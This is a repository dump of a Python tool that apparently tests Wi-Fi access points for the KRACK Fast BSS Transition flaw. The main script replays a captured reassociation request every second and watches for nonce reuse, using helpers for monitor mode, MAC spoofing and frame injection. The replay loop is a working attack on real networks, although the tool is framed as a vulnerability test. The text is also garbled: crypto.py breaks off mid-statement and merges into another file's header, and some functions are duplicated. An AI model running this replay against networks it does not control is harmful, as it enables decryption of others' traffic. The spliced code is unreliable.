├── libwifi ├── .gitignore ├── __init__.py ├── crypto.py └── wifi.py ├── requirements.txt ├── pysetup.sh └── krack-ft-test.py /libwifi/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome==3.9.9 2 | scapy==2.4.4 3 | -------------------------------------------------------------------------------- /libwifi/__init__.py: -------------------------------------------------------------------------------- 1 | from .wifi import * 2 | from .crypto import * 3 | -------------------------------------------------------------------------------- /pysetup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Start from a clean environment 4 | rm -rf venv/ 5 | 6 | # Basic python3 virtual environment 7 | python3 -m venv venv 8 | source venv/bin/activate 9 | pip install wheel 10 | pip install -r requirements.txt 11 | 12 | # Fix a bug in scapy that isn't fixed in the PyPI version yet. For background see 13 | # https://github.com/secdev/scapy/commit/46fa40fde4049ad7770481f8806c59640df24059 14 | sed -i 's/find_library("libc")/find_library("c")/g' venv/lib/python*/site-packages/scapy/arch/bpf/core.py 15 | -------------------------------------------------------------------------------- /libwifi/crypto.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import struct, binascii 3 | from .wifi import * 4 | #from binascii import a2b_hex 5 | #from struct import unpack,pack 6 | 7 | from Crypto.Cipher import AES, ARC4 8 | from scapy.layers.dot11 import Dot11, Dot11CCMP, Dot11QoS 9 | 10 | import zlib 11 | 12 | def pn2bytes(pn): 13 | pn_bytes = [0] * 6 14 | for i in range(6): 15 | pn_bytes[i] = pn & 0xFF 16 | pn >>= 8 17 | return pn_bytes 18 | 19 | def pn2bin(pn): 20 | return struct.pack(">Q", pn)[2:] 21 | 22 | def dot11ccmp_get_pn(p): 23 | pn = p.PN5 24 | pn = (pn << 8) | p.PN4 25 | pn = (pn << 8) | p.PN3 26 | pn = (pn << 8) | p.PN2 27 | pn = (pn << 8) | p.PN1 28 | pn = (pn << 8) | p.PN0 29 | return pn 30 | 31 | def ccmp_get_nonce(priority, addr, pn): 32 | return struct.pack("B", priority) + addr2bin(addr) + pn2bin(pn) 33 | 34 | def ccmp_get_aad(p, amsdu_spp=False): 35 | # FC field with masked values 36 | fc = raw(p)[:2] 37 | fc = struct.pack("I", pn)[1:] 162 | cipher = ARC4.new(iv + key) 163 | ciphertext = cipher.encrypt(payload) 164 | 165 | # Construct packet ourselves to avoid scapy bugs 166 | newp = p/iv/struct.pack(" 4 | # 5 | # This code may be distributed under the terms of the BSD license. 6 | # See LICENSE for more details. 7 | 8 | import logging 9 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 10 | from scapy.all import * 11 | from libwifi import * 12 | import sys, socket, struct, time, subprocess, atexit, select 13 | 14 | #TODO: - Merge code with client tests to avoid code duplication (including some error handling) 15 | #TODO: - Option to use a secondary interface for injection + WARNING if a virtual interface is used + repeat advice to disable hardware encryption 16 | #TODO: - Test whether injection works on the virtual interface (send probe requests to nearby AP and wait for replies) 17 | 18 | #### Man-in-the-middle Code #### 19 | 20 | class KRAckAttackFt(): 21 | def __init__(self, interface): 22 | self.nic_iface = interface 23 | self.nic_mon = "mon0" 24 | self.clientmac = scapy.arch.get_if_hwaddr(interface) 25 | 26 | self.sock = None 27 | 28 | self.reset_client() 29 | 30 | def reset_client(self): 31 | self.reassoc = None 32 | self.ivs = IvCollection() 33 | self.next_replay = None 34 | 35 | def start_replay(self, p): 36 | assert Dot11ReassoReq in p 37 | self.reassoc = p 38 | self.next_replay = time.time() + 1 39 | 40 | def process_frame(self, p): 41 | # Detect whether hardware encryption is decrypting the frame, *and* removing the TKIP/CCMP 42 | # header of the (now decrypted) frame. 43 | # FIXME: Put this check in MitmSocket? We want to check this in client tests as well! 44 | if self.clientmac in [p.addr1, p.addr2] and Dot11WEP in p: 45 | # If the hardware adds/removes the TKIP/CCMP header, this is where the plaintext starts 46 | payload = get_ccmp_payload(p) 47 | 48 | # Check if it's indeed a common LCC/SNAP plaintext header of encrypted frames, and 49 | # *not* the header of a plaintext EAPOL handshake frame 50 | if payload.startswith(b"\xAA\xAA\x03\x00\x00\x00") and not payload.startswith(b"\xAA\xAA\x03\x00\x00\x00\x88\x8e"): 51 | log(ERROR, "ERROR: Virtual monitor interface doesn't seem to pass 802.11 encryption header to userland.") 52 | log(ERROR, " Try to disable hardware encryption, or use a 2nd interface for injection.", showtime=False) 53 | quit(1) 54 | 55 | # Client performing a (possible new) handshake 56 | if self.clientmac in [p.addr1, p.addr2] and Dot11Auth in p: 57 | self.reset_client() 58 | log(INFO, "Detected Authentication frame, clearing client state") 59 | elif p.addr2 == self.clientmac and Dot11ReassoReq in p: 60 | self.reset_client() 61 | if get_element(p, IEEE_TLV_TYPE_RSN) and get_element(p, IEEE_TLV_TYPE_FT): 62 | log(INFO, "Detected FT reassociation frame") 63 | self.start_replay(p) 64 | else: 65 | log(INFO, "Reassociation frame does not appear to be an FT one") 66 | elif p.addr2 == self.clientmac and Dot11AssoReq in p: 67 | log(INFO, "Detected normal association frame") 68 | self.reset_client() 69 | 70 | # Encrypted data sent to the client 71 | elif p.addr1 == self.clientmac and dot11_is_encrypted_data(p): 72 | iv = dot11_get_iv(p) 73 | log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p))) 74 | if self.ivs.is_iv_reused(p): 75 | log(INFO, ("IV reuse detected (IV=%d, seq=%d). " + 76 | "AP is vulnerable!") % (iv, dot11_get_seqnum(p)), color="green") 77 | 78 | self.ivs.track_used_iv(p) 79 | 80 | def handle_rx(self): 81 | p = self.sock.recv() 82 | if p == None: return 83 | 84 | self.process_frame(p) 85 | 86 | def run(self): 87 | 88 | self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon) 89 | 90 | # Monitor the virtual monitor interface of the client and perform the needed actions 91 | while True: 92 | sel = select.select([self.sock], [], [], 1) 93 | if self.sock in sel[0]: self.handle_rx() 94 | if self.reassoc and time.time() > self.next_replay: 95 | log(INFO, "Replaying Reassociation Request") 96 | self.sock.send(self.reassoc) 97 | self.next_replay = time.time() + 1 98 | 99 | def stop(self): 100 | log(STATUS, "Closing wpa_supplicant and cleaning up ...") 101 | if self.sock: self.sock.close() 102 | 103 | 104 | def cleanup(): 105 | attack.stop() 106 | 107 | def get_expected_scapy_ver(): 108 | for line in open("requirements.txt"): 109 | if line.startswith("scapy=="): 110 | return line[7:].strip() 111 | return None 112 | 113 | if __name__ == "__main__": 114 | 115 | # Check if we're using the expected scapy version 116 | expected_ver = get_expected_scapy_ver() 117 | if expected_ver!= None and scapy.VERSION != expected_ver: 118 | log(WARNING, f"You are using scapy version {scapy.VERSION} instead of the expected {expected_ver}") 119 | log(WARNING, "Are you executing the script from inside the correct python virtual environment?") 120 | 121 | # TODO: Verify that we only accept CCMP? 122 | interface = 'sta1-wlan0' 123 | if not interface: 124 | log(ERROR, "Failed to determine wireless interface. Specify one using the -i parameter.") 125 | quit(1) 126 | 127 | attack = KRAckAttackFt(interface) 128 | atexit.register(cleanup) 129 | attack.run() 130 | -------------------------------------------------------------------------------- /libwifi/wifi.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2019-2020, Mathy Vanhoef 2 | # 3 | # This code may be distributed under the terms of the BSD license. 4 | # See README for more details. 5 | from scapy.all import * 6 | from Crypto.Cipher import AES 7 | from datetime import datetime 8 | import binascii 9 | 10 | #### Constants #### 11 | 12 | IEEE_TLV_TYPE_SSID = 0 13 | IEEE_TLV_TYPE_CHANNEL = 3 14 | IEEE_TLV_TYPE_RSN = 48 15 | IEEE_TLV_TYPE_CSA = 37 16 | IEEE_TLV_TYPE_FT = 55 17 | IEEE_TLV_TYPE_VENDOR = 221 18 | 19 | WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY = 4 20 | WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA = 6 21 | WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA = 7 22 | 23 | #TODO: Not sure if really needed... 24 | IEEE80211_RADIOTAP_RATE = (1 << 2) 25 | IEEE80211_RADIOTAP_CHANNEL = (1 << 3) 26 | IEEE80211_RADIOTAP_TX_FLAGS = (1 << 15) 27 | IEEE80211_RADIOTAP_DATA_RETRIES = (1 << 17) 28 | 29 | #### Basic output and logging functionality #### 30 | 31 | ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6) 32 | COLORCODES = { "gray" : "\033[0;37m", 33 | "green" : "\033[0;32m", 34 | "orange": "\033[0;33m", 35 | "red" : "\033[0;31m" } 36 | 37 | global_log_level = INFO 38 | def log(level, msg, color=None, showtime=True): 39 | if level < global_log_level: return 40 | if level == DEBUG and color is None: color="gray" 41 | if level == WARNING and color is None: color="orange" 42 | if level == ERROR and color is None: color="red" 43 | msg = (datetime.now().strftime('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m" 44 | print(msg) 45 | 46 | def change_log_level(delta): 47 | global global_log_level 48 | global_log_level += delta 49 | 50 | #### Back-wards compatibility with older scapy 51 | 52 | if not "Dot11FCS" in locals(): 53 | class Dot11FCS(): 54 | pass 55 | if not "Dot11Encrypted" in locals(): 56 | class Dot11Encrypted(): 57 | pass 58 | class Dot11CCMP(): 59 | pass 60 | class Dot11TKIP(): 61 | pass 62 | 63 | #### Linux #### 64 | 65 | def get_device_driver(iface): 66 | path = "/sys/class/net/%s/device/driver" % iface 67 | try: 68 | output = subprocess.check_output(["readlink", "-f", path]) 69 | return output.decode('utf-8').strip().split("/")[-1] 70 | except: 71 | return None 72 | 73 | #### Utility #### 74 | 75 | def get_mac_address(interface): 76 | return open("/sys/class/net/%s/address" % interface).read().strip() 77 | 78 | def addr2bin(addr): 79 | return binascii.a2b_hex(addr.replace(':', '')) 80 | 81 | def get_channel(iface): 82 | output = str(subprocess.check_output(["iw", iface, "info"])) 83 | p = re.compile("channel (\d+)") 84 | m = p.search(output) 85 | if m == None: return None 86 | return int(m.group(1)) 87 | 88 | def get_channel(iface): 89 | output = str(subprocess.check_output(["iw", iface, "info"])) 90 | p = re.compile("channel (\d+)") 91 | m = p.search(output) 92 | if m == None: 93 | return None 94 | return int(m.group(1)) 95 | 96 | def set_channel(iface, channel): 97 | subprocess.check_output(["iw", iface, "set", "channel", str(channel)]) 98 | 99 | def set_macaddress(iface, macaddr): 100 | # macchanger throws an error if the interface already has the given MAC address 101 | if get_macaddress(iface) != macaddr: 102 | subprocess.check_output(["ifconfig", iface, "down"]) 103 | subprocess.check_output(["macchanger", "-m", macaddr, iface]) 104 | 105 | def get_macaddress(iface): 106 | """This works even for interfaces in monitor mode.""" 107 | s = get_if_raw_hwaddr(iface)[1] 108 | return ("%02x:" * 6)[:-1] % tuple(orb(x) for x in s) 109 | 110 | def get_iface_type(iface): 111 | output = str(subprocess.check_output(["iw", iface, "info"])) 112 | p = re.compile("type (\w+)") 113 | return str(p.search(output).group(1)) 114 | 115 | def set_monitor_mode(iface, up=True, mtu=1500): 116 | # Note: we let the user put the device in monitor mode, such that they can control optional 117 | # parameters such as "iw wlan0 set monitor active" for devices that support it. 118 | if get_iface_type(iface) != "monitor": 119 | # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly 120 | # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface. 121 | subprocess.check_output(["ifconfig", iface, "down"]) 122 | subprocess.check_output(["iw", iface, "set", "type", "monitor"]) 123 | time.sleep(0.5) 124 | subprocess.check_output(["iw", iface, "set", "type", "monitor"]) 125 | 126 | if up: 127 | subprocess.check_output(["ifconfig", iface, "up"]) 128 | subprocess.check_output(["ifconfig", iface, "mtu", str(mtu)]) 129 | 130 | def rawmac(addr): 131 | return bytes.fromhex(addr.replace(':', '')) 132 | 133 | def set_amsdu(p): 134 | if "A_MSDU_Present" in [field.name for field in Dot11QoS.fields_desc]: 135 | p.A_MSDU_Present = 1 136 | else: 137 | p.Reserved = 1 138 | 139 | def is_amsdu(p): 140 | if "A_MSDU_Present" in [field.name for field in Dot11QoS.fields_desc]: 141 | return p.A_MSDU_Present == 1 142 | else: 143 | return p.Reserved == 1 144 | 145 | #### Packet Processing Functions #### 146 | 147 | class DHCP_sock(DHCP_am): 148 | def __init__(self, **kwargs): 149 | self.sock = kwargs.pop("sock") 150 | self.server_ip = kwargs["gw"] 151 | super(DHCP_sock, self).__init__(**kwargs) 152 | 153 | def prealloc_ip(self, clientmac, ip=None): 154 | """Allocate an IP for the client before it send DHCP requests""" 155 | if clientmac not in self.leases: 156 | if ip == None: 157 | ip = self.pool.pop() 158 | self.leases[clientmac] = ip 159 | return self.leases[clientmac] 160 | 161 | def make_reply(self, req): 162 | rep = super(DHCP_sock, self).make_reply(req) 163 | 164 | # Fix scapy bug: set broadcast IP if required 165 | if rep is not None and BOOTP in req and IP in rep: 166 | if req[BOOTP].flags & 0x8000 != 0 and req[BOOTP].giaddr == '0.0.0.0' and req[BOOTP].ciaddr == '0.0.0.0': 167 | rep[IP].dst = "255.255.255.255" 168 | 169 | # Explicitly set source IP if requested 170 | if not self.server_ip is None: 171 | rep[IP].src = self.server_ip 172 | 173 | return rep 174 | 175 | def send_reply(self, reply): 176 | self.sock.send(reply, **self.optsend) 177 | 178 | def print_reply(self, req, reply): 179 | log(STATUS, "%s: DHCP reply %s to %s" % (reply.getlayer(Ether).dst, reply.getlayer(BOOTP).yiaddr, reply.dst), color="green") 180 | 181 | def remove_client(self, clientmac): 182 | clientip = self.leases[clientmac] 183 | self.pool.append(clientip) 184 | del self.leases[clientmac] 185 | 186 | class ARP_sock(ARP_am): 187 | def __init__(self, **kwargs): 188 | self.sock = kwargs.pop("sock") 189 | super(ARP_am, self).__init__(**kwargs) 190 | 191 | def send_reply(self, reply): 192 | self.sock.send(reply, **self.optsend) 193 | 194 | def print_reply(self, req, reply): 195 | log(STATUS, "%s: ARP: %s ==> %s on %s" % (reply.getlayer(Ether).dst, req.summary(), reply.summary(), self.iff)) 196 | 197 | 198 | #### Packet Processing Functions #### 199 | 200 | # Compatibility with older Scapy versions 201 | if not "ORDER" in scapy.layers.dot11._rt_txflags: 202 | scapy.layers.dot11._rt_txflags.append("ORDER") 203 | 204 | class MonitorSocket(L2Socket): 205 | def __init__(self, iface, dumpfile=None, detect_injected=False, **kwargs): 206 | super(MonitorSocket, self).__init__(iface, **kwargs) 207 | self.pcap = None 208 | if dumpfile: 209 | self.pcap = PcapWriter("%s.%s.pcap" % (dumpfile, self.iface), append=False, sync=True) 210 | self.detect_injected = detect_injected 211 | self.default_rate = None 212 | 213 | def set_channel(self, channel): 214 | subprocess.check_output(["iw", self.iface, "set", "channel", str(channel)]) 215 | 216 | def attach_filter(self, bpf): 217 | log(DEBUG, "Attaching filter to %s: <%s>" % (self.iface, bpf)) 218 | attach_filter(self.ins, bpf, self.iface) 219 | 220 | def set_default_rate(self, rate): 221 | self.default_rate = rate 222 | 223 | def send(self, p, rate=None): 224 | # Hack: set the More Data flag so we can detect injected frames (and so clients stay awake longer) 225 | if self.detect_injected: 226 | p.FCfield |= 0x20 227 | 228 | # Control data rate injected frames 229 | if rate is None and self.default_rate is None: 230 | rtap = RadioTap(present="TXFlags", TXFlags="NOSEQ+ORDER") 231 | else: 232 | use_rate = rate if rate != None else self.default_rate 233 | rtap = RadioTap(present="TXFlags+Rate", Rate=use_rate, TXFlags="NOSEQ+ORDER") 234 | 235 | L2Socket.send(self, rtap/p) 236 | if self.pcap: self.pcap.write(RadioTap()/p) 237 | 238 | def _strip_fcs(self, p): 239 | """ 240 | Scapy may throw exceptions when handling malformed short frames, 241 | so we need to catch these exceptions and just ignore these frames. 242 | This in particular happened with short malformed beacons. 243 | """ 244 | try: 245 | return Dot11(raw(p[Dot11FCS])[:-4]) 246 | except: 247 | return None 248 | 249 | def _detect_and_strip_fcs(self, p): 250 | # Older scapy can't handle the optional Frame Check Sequence (FCS) field automatically 251 | if p[RadioTap].present & 2 != 0 and not Dot11FCS in p: 252 | rawframe = raw(p[RadioTap]) 253 | pos = 8 254 | while orb(rawframe[pos - 1]) & 0x80 != 0: pos += 4 255 | 256 | # If the TSFT field is present, it must be 8-bytes aligned 257 | if p[RadioTap].present & 1 != 0: 258 | pos += (8 - (pos % 8)) 259 | pos += 8 260 | 261 | # Remove FCS if present 262 | if orb(rawframe[pos]) & 0x10 != 0: 263 | return self._strip_fcs(p) 264 | 265 | return p[Dot11] 266 | 267 | def recv(self, x=MTU, reflected=False): 268 | p = L2Socket.recv(self, x) 269 | if p == None or not (Dot11 in p or Dot11FCS in p): 270 | return None 271 | if self.pcap: 272 | self.pcap.write(p) 273 | 274 | # Hack: ignore frames that we just injected and are echoed back by the kernel 275 | if self.detect_injected and p.FCfield & 0x20 != 0: 276 | return None 277 | 278 | # Ignore reflection of injected frames. These have a small RadioTap header. 279 | if not reflected and p[RadioTap].len < 13: 280 | return None 281 | 282 | # Strip the FCS if present, and drop the RadioTap header 283 | if Dot11FCS in p: 284 | return self._strip_fcs(p) 285 | else: 286 | return self._detect_and_strip_fcs(p) 287 | 288 | def close(self): 289 | if self.pcap: self.pcap.close() 290 | super(MonitorSocket, self).close() 291 | 292 | # For backwards compatibility 293 | class MitmSocket(MonitorSocket): 294 | pass 295 | 296 | def dot11_get_seqnum(p): 297 | return p.SC >> 4 298 | 299 | def dot11_is_encrypted_data(p): 300 | # All these different cases are explicitly tested to handle older scapy versions 301 | return (p.FCfield & 0x40) or Dot11CCMP in p or Dot11TKIP in p or Dot11WEP in p or Dot11Encrypted in p 302 | 303 | def payload_to_iv(payload): 304 | iv0 = payload[0] 305 | iv1 = payload[1] 306 | wepdata = payload[4:8] 307 | 308 | # FIXME: Only CCMP is supported (TKIP uses a different IV structure) 309 | return orb(iv0) + (orb(iv1) << 8) + (struct.unpack(">I", wepdata)[0] << 16) 310 | 311 | def dot11_get_iv(p): 312 | """ 313 | Assume it's a CCMP frame. Old scapy can't handle Extended IVs. 314 | This code only works for CCMP frames. 315 | """ 316 | if Dot11CCMP in p: 317 | payload = raw(p[Dot11CCMP]) 318 | return payload_to_iv(payload) 319 | 320 | elif Dot11TKIP in p: 321 | # Scapy uses a heuristic to differentiate CCMP/TKIP and this may be wrong. 322 | # So even when we get a Dot11TKIP frame, we should treat it like a Dot11CCMP frame. 323 | payload = raw(p[Dot11TKIP]) 324 | return payload_to_iv(payload) 325 | 326 | if Dot11CCMP in p: 327 | payload = raw(p[Dot11CCMP]) 328 | return payload_to_iv(payload) 329 | elif Dot11TKIP in p: 330 | payload = raw(p[Dot11TKIP]) 331 | return payload_to_iv(payload) 332 | elif Dot11Encrypted in p: 333 | payload = raw(p[Dot11Encrypted]) 334 | return payload_to_iv(payload) 335 | 336 | elif Dot11WEP in p: 337 | wep = p[Dot11WEP] 338 | if wep.keyid & 32: 339 | # FIXME: Only CCMP is supported (TKIP uses a different IV structure) 340 | return orb(wep.iv[0]) + (orb(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[:4])[0] << 16) 341 | else: 342 | return orb(wep.iv[0]) + (orb(wep.iv[1]) << 8) + (orb(wep.iv[2]) << 16) 343 | 344 | elif p.FCfield & 0x40: 345 | return payload_to_iv(p[Raw].load) 346 | 347 | else: 348 | return None 349 | 350 | def dot11_get_priority(p): 351 | if not Dot11QoS in p: return 0 352 | return p[Dot11QoS].TID 353 | 354 | 355 | #### Crypto functions and util #### 356 | 357 | def get_ccmp_payload(p): 358 | if Dot11WEP in p: 359 | # Extract encrypted payload: 360 | # - Skip extended IV (4 bytes in total) 361 | # - Exclude first 4 bytes of the CCMP MIC (note that last 4 are saved in the WEP ICV field) 362 | return str(p.wepdata[4:-4]) 363 | elif Dot11CCMP in p: 364 | return p[Dot11CCMP].data 365 | elif Dot11TKIP in p: 366 | return p[Dot11TKIP].data 367 | elif Dot11Encrypted in p: 368 | return p[Dot11Encrypted].data 369 | else: 370 | return p[Raw].load 371 | 372 | class IvInfo(): 373 | def __init__(self, p): 374 | self.iv = dot11_get_iv(p) 375 | self.seq = dot11_get_seqnum(p) 376 | self.time = p.time 377 | 378 | def is_reused(self, p): 379 | """Return true if frame p reuses an IV and if p is not a retransmitted frame""" 380 | iv = dot11_get_iv(p) 381 | seq = dot11_get_seqnum(p) 382 | return self.iv == iv and self.seq != seq and p.time >= self.time + 1 383 | 384 | class IvCollection(): 385 | def __init__(self): 386 | self.ivs = dict() # maps IV values to IvInfo objects 387 | 388 | def reset(self): 389 | self.ivs = dict() 390 | 391 | def track_used_iv(self, p): 392 | iv = dot11_get_iv(p) 393 | self.ivs[iv] = IvInfo(p) 394 | 395 | def is_iv_reused(self, p): 396 | """Returns True if this is an *observed* IV reuse and not just a retransmission""" 397 | iv = dot11_get_iv(p) 398 | return iv in self.ivs and self.ivs[iv].is_reused(p) 399 | 400 | def is_new_iv(self, p): 401 | """Returns True if the IV in this frame is higher than all previously observed ones""" 402 | iv = dot11_get_iv(p) 403 | if len(self.ivs) == 0: return True 404 | return iv > max(self.ivs.keys()) 405 | 406 | def create_fragments(header, data, num_frags): 407 | # This special case is useful so scapy keeps the full "interpretation" of the frame 408 | # instead of afterwards treating/displaying the payload as just raw data. 409 | if num_frags == 1: return [header/data] 410 | 411 | data = raw(data) 412 | fragments = [] 413 | fragsize = (len(data) + num_frags - 1) // num_frags 414 | for i in range(num_frags): 415 | frag = header.copy() 416 | frag.SC |= i 417 | if i < num_frags - 1: 418 | frag.FCfield |= Dot11(FCfield="MF").FCfield 419 | 420 | payload = data[fragsize * i : fragsize * (i + 1)] 421 | frag = frag/Raw(payload) 422 | fragments.append(frag) 423 | 424 | return fragments 425 | 426 | def get_element(el, id): 427 | if not Dot11Elt in el: return None 428 | el = el[Dot11Elt] 429 | while not el is None: 430 | if el.ID == id: 431 | return el 432 | el = el.payload 433 | return None 434 | 435 | def get_ssid(beacon): 436 | if not (Dot11 in beacon or Dot11FCS in beacon): return 437 | if Dot11Elt not in beacon: return 438 | if beacon[Dot11].type != 0 and beacon[Dot11].subtype != 8: return 439 | el = get_element(beacon, IEEE_TLV_TYPE_SSID) 440 | return el.info.decode() 441 | 442 | def is_from_sta(p, macaddr): 443 | if not (Dot11 in p or Dot11FCS in p): 444 | return False 445 | if p.addr1 != macaddr and p.addr2 != macaddr: 446 | return False 447 | return True 448 | 449 | def get_bss(iface, clientmac, timeout=20): 450 | ps = sniff(count=1, timeout=timeout, lfilter=lambda p: is_from_sta(p, clientmac), iface=iface) 451 | if len(ps) == 0: 452 | return None 453 | return ps[0].addr1 if ps[0].addr1 != clientmac else ps[0].addr2 454 | 455 | def create_msdu_subframe(src, dst, payload, last=False): 456 | length = len(payload) 457 | p = Ether(dst=dst, src=src, type=length) 458 | 459 | payload = raw(payload) 460 | 461 | total_length = len(p) + len(payload) 462 | padding = "" 463 | if not last and total_length % 4 != 0: 464 | padding = b"\x00" * (4 - (total_length % 4)) 465 | 466 | return p / payload / Raw(padding) 467 | 468 | def find_network(iface, ssid): 469 | ps = sniff(count=1, timeout=0.3, lfilter=lambda p: get_ssid(p) == ssid, iface=iface) 470 | if ps is None or len(ps) < 1: 471 | log(STATUS, "Searching for target network on other channels") 472 | for chan in [1, 6, 11, 3, 8, 2, 7, 4, 10, 5, 9, 12, 13]: 473 | set_channel(iface, chan) 474 | log(DEBUG, "Listening on channel %d" % chan) 475 | ps = sniff(count=1, timeout=0.3, lfilter=lambda p: get_ssid(p) == ssid, iface=iface) 476 | if ps and len(ps) >= 1: break 477 | 478 | if ps and len(ps) >= 1: 479 | # Even though we capture the beacon we might still be on another channel, 480 | # so it's important to explicitly switch to the correct channel. 481 | actual_chan = orb(get_element(ps[0], IEEE_TLV_TYPE_CHANNEL).info) 482 | set_channel(iface, actual_chan) 483 | 484 | # Return the beacon that we captured 485 | return ps[0] 486 | 487 | return None 488 | 489 | --------------------------------------------------------------------------------